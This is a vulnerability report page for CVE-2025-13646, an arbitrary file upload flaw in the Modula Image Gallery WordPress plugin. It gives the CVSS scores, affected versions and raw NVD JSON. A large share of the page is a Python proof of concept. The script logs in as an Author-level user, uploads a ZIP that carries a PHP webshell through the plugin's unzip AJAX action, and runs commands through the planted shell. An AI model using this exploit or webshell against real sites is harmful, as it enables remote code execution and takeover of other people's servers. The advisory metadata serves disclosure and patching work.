Security Vulnerability Report
中文
CVE-2025-13646 CVSS 7.5 HIGH

CVE-2025-13646

Published: 2025-12-03 03:16:00
Last Modified: 2025-12-15 15:41:09

Description

The Modula Image Gallery plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'ajax_unzip_file' function in versions 2.13.1 to 2.13.2. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files with race condition on the affected site's server which may make remote code execution possible.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wpchill:modula_image_gallery:*:*:*:*:*:wordpress:*:* - VULNERABLE
Modula Image Gallery (Lite) 2.13.1
Modula Image Gallery (Lite) 2.13.2
Modula Best Grid Gallery 2.13.1
Modula Best Grid Gallery 2.13.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-13646 PoC - Modula Image Gallery Arbitrary File Upload Author: Security Researcher Description: Exploits arbitrary file upload vulnerability in Modula Image Gallery < 2.13.3 Requirements: requests, valid WordPress session with Author+ privileges """ import zipfile import io import requests import sys # Malicious PHP webshell payload WEBSHELL = b"<?php if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } ?>" def create_malicious_zip(): """Create a ZIP file containing the malicious PHP shell""" zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: # Add webshell with various case combinations to bypass basic filters zip_file.writestr('shell.PHP', WEBSHELL) # Add decoy file zip_file.writestr('image.jpg', b'fake image content') return zip_buffer.getvalue() def exploit(target_url, wordpress_url, username, password): """ Exploit the arbitrary file upload vulnerability Args: target_url: Base URL of the WordPress site wordpress_url: Full WordPress URL username: WordPress username with Author+ role password: WordPress password """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{wordpress_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{wordpress_url}/wp-admin/", 'testcookie': '1' } print("[*] Logging in to WordPress...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Create malicious ZIP file malicious_zip = create_malicious_zip() print(f"[*] Created malicious ZIP file ({len(malicious_zip)} bytes)") # Step 3: Upload the malicious ZIP via ajax_unzip_file upload_url = f"{wordpress_url}/wp-admin/admin-ajax.php" files = { 'action': 'modula_ajax_unzip_file', 'file': ('exploit.zip', malicious_zip, 'application/zip') } print("[*] Uploading malicious ZIP file...") response = session.post(upload_url, files=files) if response.status_code == 200 and 'success' in response.text.lower(): print("[+] File uploaded successfully!") # Step 4: Access the uploaded webshell shell_url = f"{wordpress_url}/wp-content/uploads/modula/shell.PHP" print(f"[*] Accessing webshell at: {shell_url}") # Test webshell with whoami command test_response = session.get(f"{shell_url}?cmd=whoami") if test_response.status_code == 200: print(f"[+] Webshell executed! Output: {test_response.text.strip()}") print(f"[*] You can now execute commands via: {shell_url}?cmd=<command>") return True else: print(f"[-] Upload failed! Response: {response.text}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python3 {sys.argv[0]} <target_url> <wordpress_url> <username> <password>") print(f"Example: python3 {sys.argv[0]} http://target.com http://target.com admin password123") sys.exit(1) target = sys.argv[1] wp_url = sys.argv[2] user = sys.argv[3] pwd = sys.argv[4] exploit(target, wp_url, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13646", "sourceIdentifier": "[email protected]", "published": "2025-12-03T03:16:00.033", "lastModified": "2025-12-15T15:41:08.597", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Modula Image Gallery plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'ajax_unzip_file' function in versions 2.13.1 to 2.13.2. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files with race condition on the affected site's server which may make remote code execution possible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wpchill:modula_image_gallery:*:*:*:*:*:wordpress:*:*", "versionStartIncluding": "2.13.1", "versionEndExcluding": "2.13.3", "matchCriteriaId": "711CF2DC-199B-472B-BEA7-4D1E8119ECC1"}]}]}], "references": [{"url": "https://github.com/WPChill/modula-lite/blob/master/includes/admin/class-modula-gallery-upload.php#L1103", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/WPChill/modula-lite/commit/90c8eb982f71b31584d9be9359e3b594e03927d7", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://plugins.trac.wordpress.org/changeset/3395701/modula-best-grid-gallery#file5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://plugins.trac.wordpress.org/changeset/3407949/modula-best-grid-gallery", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/59ee0ca2-846d-4ae8-ad19-7c3826861aeb?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}